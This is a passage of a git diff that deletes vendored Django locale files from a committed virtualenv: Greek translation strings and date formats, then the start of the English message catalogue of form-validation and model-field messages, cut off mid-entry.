separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "" -msgstr[1] "" - -msgid "Forbidden" -msgstr "Απαγορευμένο" - -msgid "CSRF verification failed. Request aborted." -msgstr "Η πιστοποίηση CSRF απέτυχε. Το αίτημα ματαιώθηκε." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Αν οι 'Referer' headers είναι απενεργοποιημένοι στον browser σας από εσάς, " -"παρακαλούμε να τους ξανά-ενεργοποιήσετε, τουλάχιστον για αυτό το site ή για " -"τις συνδέσεις HTTPS ή για τα 'same-origin' requests." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Αν χρησιμοποιείτε την ετικέτα ή συμπεριλαμβάνετε την κεφαλίδα (header) 'Referrer-Policy: no-referrer', " -"παρακαλούμε αφαιρέστε τα. Η προστασία CSRF απαιτεί την κεφαλίδα 'Referer' να " -"κάνει αυστηρό έλεγχο στον referer. Αν κύριο μέλημα σας είναι η ιδιωτικότητα, " -"σκεφτείτε να χρησιμοποιήσετε εναλλακτικές μεθόδους όπως για συνδέσμους από άλλες ιστοσελίδες." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Βλέπετε αυτό το μήνυμα επειδή αυτή η σελίδα απαιτεί ένα CSRF cookie, όταν " -"κατατίθενται φόρμες. Αυτό το cookie είναι απαραίτητο για λόγους ασφαλείας, " -"για να εξασφαλιστεί ότι ο browser δεν έχει γίνει hijacked από τρίτους." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Αν τα cookies είναι απενεργοποιημένα στον browser σας από εσάς, παρακαλούμε " -"να τα ξανά-ενεργοποιήσετε, τουλάχιστον για αυτό το site ή για τα 'same-" -"origin' requests." - -msgid "More information is available with DEBUG=True." -msgstr "Περισσότερες πληροφορίες είναι διαθέσιμες με DEBUG=True." - -msgid "No year specified" -msgstr "Δεν έχει οριστεί χρονιά" - -msgid "Date out of range" -msgstr "Ημερομηνία εκτός εύρους" - -msgid "No month specified" -msgstr "Δεν έχει οριστεί μήνας" - -msgid "No day specified" -msgstr "Δεν έχει οριστεί μέρα" - -msgid "No week specified" -msgstr "Δεν έχει οριστεί εβδομάδα" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Δεν υπάρχουν διαθέσιμα %(verbose_name_plural)s" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Μελλοντικά %(verbose_name_plural)s δεν είναι διαθέσιμα διότι δεν έχει τεθεί " -"το %(class_name)s.allow_future." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" -"Λανθασμένη μορφή ημερομηνίας '%(datestr)s' για την επιλεγμένη μορφή " -"'%(format)s'" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Δεν βρέθηκαν %(verbose_name)s που να ικανοποιούν την αναζήτηση." - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" -"Η σελίδα δεν έχει την τιμή 'last' υποδηλώνοντας την τελευταία σελίδα, ούτε " -"μπορεί να μετατραπεί σε ακέραιο." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Άκυρη σελίδα (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Άδεια λίστα και το \"%(class_name)s.allow_empty\" είναι False." - -msgid "Directory indexes are not allowed here." -msgstr "Τα ευρετήρια καταλόγων δεν επιτρέπονται εδώ." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "Το \"%(path)s\" δεν υπάρχει" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Ευρετήριο του %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Η εγκατάσταση δούλεψε με επιτυχία! Συγχαρητήρια!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Δείτε τις σημειώσεις κυκλοφορίας για το " -"Django %(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" -"Βλέπετε αυτό το μήνυμα επειδή έχετε DEBUG=True στο αρχείο settings και δεν έχετε ρυθμίσει κανένα URL στο " -"αρχείο urls.py. Στρωθείτε στην δουλειά!" - -msgid "Django Documentation" -msgstr "Εγχειρίδιο Django" - -msgid "Topics, references, & how-to’s" -msgstr "Θέματα, αναφορές & \"πως να...\"" - -msgid "Tutorial: A Polling App" -msgstr "Εγχειρίδιο: Ένα App Ψηφοφορίας" - -msgid "Get started with Django" -msgstr "Ξεκινήστε με το Django" - -msgid "Django Community" -msgstr "Κοινότητα Django" - -msgid "Connect, get help, or contribute" -msgstr "Συνδεθείτε, λάβετε βοήθεια, ή συνεισφέρετε" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/el/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/el/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/el/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/el/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 23435bb1..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/el/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/el/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/el/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 49cb4c15..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/el/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/el/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/el/formats.py deleted file mode 100644 index 25c8ef7d..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/el/formats.py +++ /dev/null @@ -1,34 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "d/m/Y" -TIME_FORMAT = "P" -DATETIME_FORMAT = "d/m/Y P" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "d/m/Y" -SHORT_DATETIME_FORMAT = "d/m/Y P" -FIRST_DAY_OF_WEEK = 0 # Sunday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d/%m/%Y", # '25/10/2006' - "%d/%m/%y", # '25/10/06' - "%Y-%m-%d", # '2006-10-25' -] -DATETIME_INPUT_FORMATS = [ - "%d/%m/%Y %H:%M:%S", # '25/10/2006 14:30:59' - "%d/%m/%Y %H:%M:%S.%f", # '25/10/2006 14:30:59.000200' - "%d/%m/%Y %H:%M", # '25/10/2006 14:30' - "%d/%m/%y %H:%M:%S", # '25/10/06 14:30:59' - "%d/%m/%y %H:%M:%S.%f", # '25/10/06 14:30:59.000200' - "%d/%m/%y %H:%M", # '25/10/06 14:30' - "%Y-%m-%d %H:%M:%S", # '2006-10-25 14:30:59' - "%Y-%m-%d %H:%M:%S.%f", # '2006-10-25 14:30:59.000200' - "%Y-%m-%d %H:%M", # '2006-10-25 14:30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/en/LC_MESSAGES/django.mo deleted file mode 100644 index 0d4c976d..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/en/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/en/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/en/LC_MESSAGES/django.po deleted file mode 100644 index 766d9734..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/en/LC_MESSAGES/django.po +++ /dev/null @@ -1,1614 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -msgid "" -msgstr "" -"Project-Id-Version: Django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2010-05-13 15:35+0200\n" -"Last-Translator: Django team\n" -"Language-Team: English \n" -"Language: en\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#: conf/global_settings.py:54 -msgid "Afrikaans" -msgstr "" - -#: conf/global_settings.py:55 -msgid "Arabic" -msgstr "" - -#: conf/global_settings.py:56 -msgid "Algerian Arabic" -msgstr "" - -#: conf/global_settings.py:57 -msgid "Asturian" -msgstr "" - -#: conf/global_settings.py:58 -msgid "Azerbaijani" -msgstr "" - -#: conf/global_settings.py:59 -msgid "Bulgarian" -msgstr "" - -#: conf/global_settings.py:60 -msgid "Belarusian" -msgstr "" - -#: conf/global_settings.py:61 -msgid "Bengali" -msgstr "" - -#: conf/global_settings.py:62 -msgid "Breton" -msgstr "" - -#: conf/global_settings.py:63 -msgid "Bosnian" -msgstr "" - -#: conf/global_settings.py:64 -msgid "Catalan" -msgstr "" - -#: conf/global_settings.py:65 -msgid "Central Kurdish (Sorani)" -msgstr "" - -#: conf/global_settings.py:66 -msgid "Czech" -msgstr "" - -#: conf/global_settings.py:67 -msgid "Welsh" -msgstr "" - -#: conf/global_settings.py:68 -msgid "Danish" -msgstr "" - -#: conf/global_settings.py:69 -msgid "German" -msgstr "" - -#: conf/global_settings.py:70 -msgid "Lower Sorbian" -msgstr "" - -#: conf/global_settings.py:71 -msgid "Greek" -msgstr "" - -#: conf/global_settings.py:72 -msgid "English" -msgstr "" - -#: conf/global_settings.py:73 -msgid "Australian English" -msgstr "" - -#: conf/global_settings.py:74 -msgid "British English" -msgstr "" - -#: conf/global_settings.py:75 -msgid "Esperanto" -msgstr "" - -#: conf/global_settings.py:76 -msgid "Spanish" -msgstr "" - -#: conf/global_settings.py:77 -msgid "Argentinian Spanish" -msgstr "" - -#: conf/global_settings.py:78 -msgid "Colombian Spanish" -msgstr "" - -#: conf/global_settings.py:79 -msgid "Mexican Spanish" -msgstr "" - -#: conf/global_settings.py:80 -msgid "Nicaraguan Spanish" -msgstr "" - -#: conf/global_settings.py:81 -msgid "Venezuelan Spanish" -msgstr "" - -#: conf/global_settings.py:82 -msgid "Estonian" -msgstr "" - -#: conf/global_settings.py:83 -msgid "Basque" -msgstr "" - -#: conf/global_settings.py:84 -msgid "Persian" -msgstr "" - -#: conf/global_settings.py:85 -msgid "Finnish" -msgstr "" - -#: conf/global_settings.py:86 -msgid "French" -msgstr "" - -#: conf/global_settings.py:87 -msgid "Frisian" -msgstr "" - -#: conf/global_settings.py:88 -msgid "Irish" -msgstr "" - -#: conf/global_settings.py:89 -msgid "Scottish Gaelic" -msgstr "" - -#: conf/global_settings.py:90 -msgid "Galician" -msgstr "" - -#: conf/global_settings.py:91 -msgid "Hebrew" -msgstr "" - -#: conf/global_settings.py:92 -msgid "Hindi" -msgstr "" - -#: conf/global_settings.py:93 -msgid "Croatian" -msgstr "" - -#: conf/global_settings.py:94 -msgid "Upper Sorbian" -msgstr "" - -#: conf/global_settings.py:95 -msgid "Hungarian" -msgstr "" - -#: conf/global_settings.py:96 -msgid "Armenian" -msgstr "" - -#: conf/global_settings.py:97 -msgid "Interlingua" -msgstr "" - -#: conf/global_settings.py:98 -msgid "Indonesian" -msgstr "" - -#: conf/global_settings.py:99 -msgid "Igbo" -msgstr "" - -#: conf/global_settings.py:100 -msgid "Ido" -msgstr "" - -#: conf/global_settings.py:101 -msgid "Icelandic" -msgstr "" - -#: conf/global_settings.py:102 -msgid "Italian" -msgstr "" - -#: conf/global_settings.py:103 -msgid "Japanese" -msgstr "" - -#: conf/global_settings.py:104 -msgid "Georgian" -msgstr "" - -#: conf/global_settings.py:105 -msgid "Kabyle" -msgstr "" - -#: conf/global_settings.py:106 -msgid "Kazakh" -msgstr "" - -#: conf/global_settings.py:107 -msgid "Khmer" -msgstr "" - -#: conf/global_settings.py:108 -msgid "Kannada" -msgstr "" - -#: conf/global_settings.py:109 -msgid "Korean" -msgstr "" - -#: conf/global_settings.py:110 -msgid "Kyrgyz" -msgstr "" - -#: conf/global_settings.py:111 -msgid "Luxembourgish" -msgstr "" - -#: conf/global_settings.py:112 -msgid "Lithuanian" -msgstr "" - -#: conf/global_settings.py:113 -msgid "Latvian" -msgstr "" - -#: conf/global_settings.py:114 -msgid "Macedonian" -msgstr "" - -#: conf/global_settings.py:115 -msgid "Malayalam" -msgstr "" - -#: conf/global_settings.py:116 -msgid "Mongolian" -msgstr "" - -#: conf/global_settings.py:117 -msgid "Marathi" -msgstr "" - -#: conf/global_settings.py:118 -msgid "Malay" -msgstr "" - -#: conf/global_settings.py:119 -msgid "Burmese" -msgstr "" - -#: conf/global_settings.py:120 -msgid "Norwegian Bokmål" -msgstr "" - -#: conf/global_settings.py:121 -msgid "Nepali" -msgstr "" - -#: conf/global_settings.py:122 -msgid "Dutch" -msgstr "" - -#: conf/global_settings.py:123 -msgid "Norwegian Nynorsk" -msgstr "" - -#: conf/global_settings.py:124 -msgid "Ossetic" -msgstr "" - -#: conf/global_settings.py:125 -msgid "Punjabi" -msgstr "" - -#: conf/global_settings.py:126 -msgid "Polish" -msgstr "" - -#: conf/global_settings.py:127 -msgid "Portuguese" -msgstr "" - -#: conf/global_settings.py:128 -msgid "Brazilian Portuguese" -msgstr "" - -#: conf/global_settings.py:129 -msgid "Romanian" -msgstr "" - -#: conf/global_settings.py:130 -msgid "Russian" -msgstr "" - -#: conf/global_settings.py:131 -msgid "Slovak" -msgstr "" - -#: conf/global_settings.py:132 -msgid "Slovenian" -msgstr "" - -#: conf/global_settings.py:133 -msgid "Albanian" -msgstr "" - -#: conf/global_settings.py:134 -msgid "Serbian" -msgstr "" - -#: conf/global_settings.py:135 -msgid "Serbian Latin" -msgstr "" - -#: conf/global_settings.py:136 -msgid "Swedish" -msgstr "" - -#: conf/global_settings.py:137 -msgid "Swahili" -msgstr "" - -#: conf/global_settings.py:138 -msgid "Tamil" -msgstr "" - -#: conf/global_settings.py:139 -msgid "Telugu" -msgstr "" - -#: conf/global_settings.py:140 -msgid "Tajik" -msgstr "" - -#: conf/global_settings.py:141 -msgid "Thai" -msgstr "" - -#: conf/global_settings.py:142 -msgid "Turkmen" -msgstr "" - -#: conf/global_settings.py:143 -msgid "Turkish" -msgstr "" - -#: conf/global_settings.py:144 -msgid "Tatar" -msgstr "" - -#: conf/global_settings.py:145 -msgid "Udmurt" -msgstr "" - -#: conf/global_settings.py:146 -msgid "Uyghur" -msgstr "" - -#: conf/global_settings.py:147 -msgid "Ukrainian" -msgstr "" - -#: conf/global_settings.py:148 -msgid "Urdu" -msgstr "" - -#: conf/global_settings.py:149 -msgid "Uzbek" -msgstr "" - -#: conf/global_settings.py:150 -msgid "Vietnamese" -msgstr "" - -#: conf/global_settings.py:151 -msgid "Simplified Chinese" -msgstr "" - -#: conf/global_settings.py:152 -msgid "Traditional Chinese" -msgstr "" - -#: contrib/messages/apps.py:16 -msgid "Messages" -msgstr "" - -#: contrib/sitemaps/apps.py:8 -msgid "Site Maps" -msgstr "" - -#: contrib/staticfiles/apps.py:9 -msgid "Static Files" -msgstr "" - -#: contrib/syndication/apps.py:7 -msgid "Syndication" -msgstr "" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -#: core/paginator.py:30 -msgid "…" -msgstr "" - -#: core/paginator.py:32 -msgid "That page number is not an integer" -msgstr "" - -#: core/paginator.py:33 -msgid "That page number is less than 1" -msgstr "" - -#: core/paginator.py:34 -msgid "That page contains no results" -msgstr "" - -#: core/validators.py:21 -msgid "Enter a valid value." -msgstr "" - -#: core/validators.py:69 -msgid "Enter a valid domain name." -msgstr "" - -#: core/validators.py:152 forms/fields.py:775 -msgid "Enter a valid URL." -msgstr "" - -#: core/validators.py:199 -msgid "Enter a valid integer." -msgstr "" - -#: core/validators.py:210 -msgid "Enter a valid email address." -msgstr "" - -#. Translators: "letters" means latin letters: a-z and A-Z. -#: core/validators.py:288 -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -#: core/validators.py:296 -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -#: core/validators.py:308 core/validators.py:317 core/validators.py:331 -#: db/models/fields/__init__.py:2220 -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "" - -#: core/validators.py:310 -msgid "IPv4" -msgstr "" - -#: core/validators.py:319 utils/ipv6.py:43 -msgid "IPv6" -msgstr "" - -#: core/validators.py:333 -msgid "IPv4 or IPv6" -msgstr "" - -#: core/validators.py:374 -msgid "Enter only digits separated by commas." -msgstr "" - -#: core/validators.py:380 -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" - -#: core/validators.py:415 -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" - -#: core/validators.py:424 -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" - -#: core/validators.py:433 -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" - -#: core/validators.py:440 -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" - -#: core/validators.py:472 -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -#: core/validators.py:490 -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -#: core/validators.py:513 forms/fields.py:366 forms/fields.py:405 -msgid "Enter a number." -msgstr "" - -#: core/validators.py:515 -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" -msgstr[1] "" - -#: core/validators.py:520 -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -msgstr[1] "" - -#: core/validators.py:525 -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -msgstr[1] "" - -#: core/validators.py:596 -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -#: core/validators.py:658 -msgid "Null characters are not allowed." -msgstr "" - -#: db/models/base.py:1600 forms/models.py:908 -msgid "and" -msgstr "" - -#: db/models/base.py:1602 -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#: db/models/constraints.py:22 -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "" - -#: db/models/fields/__init__.py:134 -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "" - -#: db/models/fields/__init__.py:135 -msgid "This field cannot be null." -msgstr "" - -#: db/models/fields/__init__.py:136 -msgid "This field cannot be blank." -msgstr "" - -#: db/models/fields/__init__.py:137 -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "" - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#: db/models/fields/__init__.py:141 -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#: db/models/fields/__init__.py:180 -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "" - -#: db/models/fields/__init__.py:1162 -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#: db/models/fields/__init__.py:1163 -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -#: db/models/fields/__init__.py:1165 -msgid "Boolean (Either True or False)" -msgstr "" - -#: db/models/fields/__init__.py:1215 -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "" - -#: db/models/fields/__init__.py:1217 -msgid "String (unlimited)" -msgstr "" - -#: db/models/fields/__init__.py:1326 -msgid "Comma-separated integers" -msgstr "" - -#: db/models/fields/__init__.py:1427 -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#: db/models/fields/__init__.py:1431 db/models/fields/__init__.py:1566 -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -#: db/models/fields/__init__.py:1435 -msgid "Date (without time)" -msgstr "" - -#: db/models/fields/__init__.py:1562 -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#: db/models/fields/__init__.py:1570 -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -#: db/models/fields/__init__.py:1575 -msgid "Date (with time)" -msgstr "" - -#: db/models/fields/__init__.py:1702 -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -#: db/models/fields/__init__.py:1704 -msgid "Decimal number" -msgstr "" - -#: db/models/fields/__init__.py:1864 -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -#: db/models/fields/__init__.py:1868 -msgid "Duration" -msgstr "" - -#: db/models/fields/__init__.py:1920 -msgid "Email address" -msgstr "" - -#: db/models/fields/__init__.py:1945 -msgid "File path" -msgstr "" - -#: db/models/fields/__init__.py:2023 -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -#: db/models/fields/__init__.py:2025 -msgid "Floating point number" -msgstr "" - -#: db/models/fields/__init__.py:2065 -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -#: db/models/fields/__init__.py:2067 -msgid "Integer" -msgstr "" - -#: db/models/fields/__init__.py:2163 -msgid "Big (8 byte) integer" -msgstr "" - -#: db/models/fields/__init__.py:2180 -msgid "Small integer" -msgstr "" - -#: db/models/fields/__init__.py:2188 -msgid "IPv4 address" -msgstr "" - -#: db/models/fields/__init__.py:2219 -msgid "IP address" -msgstr "" - -#: db/models/fields/__init__.py:2310 db/models/fields/__init__.py:2311 -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -#: db/models/fields/__init__.py:2313 -msgid "Boolean (Either True, False or None)" -msgstr "" - -#: db/models/fields/__init__.py:2364 -msgid "Positive big integer" -msgstr "" - -#: db/models/fields/__init__.py:2379 -msgid "Positive integer" -msgstr "" - -#: db/models/fields/__init__.py:2394 -msgid "Positive small integer" -msgstr "" - -#: db/models/fields/__init__.py:2410 -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "" - -#: db/models/fields/__init__.py:2446 -msgid "Text" -msgstr "" - -#: db/models/fields/__init__.py:2526 -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#: db/models/fields/__init__.py:2530 -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -#: db/models/fields/__init__.py:2534 -msgid "Time" -msgstr "" - -#: db/models/fields/__init__.py:2642 -msgid "URL" -msgstr "" - -#: db/models/fields/__init__.py:2666 -msgid "Raw binary data" -msgstr "" - -#: db/models/fields/__init__.py:2731 -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -#: db/models/fields/__init__.py:2733 -msgid "Universally unique identifier" -msgstr "" - -#: db/models/fields/files.py:244 -msgid "File" -msgstr "" - -#: db/models/fields/files.py:420 -msgid "Image" -msgstr "" - -#: db/models/fields/json.py:24 -msgid "A JSON object" -msgstr "" - -#: db/models/fields/json.py:26 -msgid "Value must be valid JSON." -msgstr "" - -#: db/models/fields/related.py:978 -#, python-format -msgid "%(model)s instance with %(field)s %(value)r is not a valid choice." -msgstr "" - -#: db/models/fields/related.py:981 -msgid "Foreign Key (type determined by related field)" -msgstr "" - -#: db/models/fields/related.py:1275 -msgid "One-to-one relationship" -msgstr "" - -#: db/models/fields/related.py:1332 -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#: db/models/fields/related.py:1334 -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -#: db/models/fields/related.py:1382 -msgid "Many-to-many relationship" -msgstr "" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the label -#: forms/boundfield.py:185 -msgid ":?.!" -msgstr "" - -#: forms/fields.py:95 -msgid "This field is required." -msgstr "" - -#: forms/fields.py:315 -msgid "Enter a whole number." -msgstr "" - -#: forms/fields.py:486 forms/fields.py:1267 -msgid "Enter a valid date." -msgstr "" - -#: forms/fields.py:509 forms/fields.py:1268 -msgid "Enter a valid time." -msgstr "" - -#: forms/fields.py:536 -msgid "Enter a valid date/time." -msgstr "" - -#: forms/fields.py:570 -msgid "Enter a valid duration." -msgstr "" - -#: forms/fields.py:571 -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -#: forms/fields.py:640 -msgid "No file was submitted. Check the encoding type on the form." -msgstr "" - -#: forms/fields.py:641 -msgid "No file was submitted." -msgstr "" - -#: forms/fields.py:642 -msgid "The submitted file is empty." -msgstr "" - -#: forms/fields.py:644 -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -msgstr[1] "" - -#: forms/fields.py:649 -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" - -#: forms/fields.py:717 -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" - -#: forms/fields.py:889 forms/fields.py:975 forms/models.py:1592 -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" - -#: forms/fields.py:977 forms/fields.py:1096 forms/models.py:1590 -msgid "Enter a list of values." -msgstr "" - -#: forms/fields.py:1097 -msgid "Enter a complete value." -msgstr "" - -#: forms/fields.py:1339 -msgid "Enter a valid UUID." -msgstr "" - -#: forms/fields.py:1369 -msgid "Enter a valid JSON." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -#: forms/forms.py:97 -msgid ":" -msgstr "" - -#: forms/forms.py:239 -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "" - -#: forms/formsets.py:61 -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" - -#: forms/formsets.py:65 -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "" -msgstr[1] "" - -#: forms/formsets.py:70 -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "" -msgstr[1] "" - -#: forms/formsets.py:484 forms/formsets.py:491 -msgid "Order" -msgstr "" - -#: forms/formsets.py:499 -msgid "Delete" -msgstr "" - -#: forms/models.py:901 -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "" - -#: forms/models.py:906 -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" - -#: forms/models.py:913 -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" - -#: forms/models.py:922 -msgid "Please correct the duplicate values below." -msgstr "" - -#: forms/models.py:1359 -msgid "The inline value did not match the parent instance." -msgstr "" - -#: forms/models.py:1450 -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" - -#: forms/models.py:1594 -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#: forms/utils.py:229 -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -#: 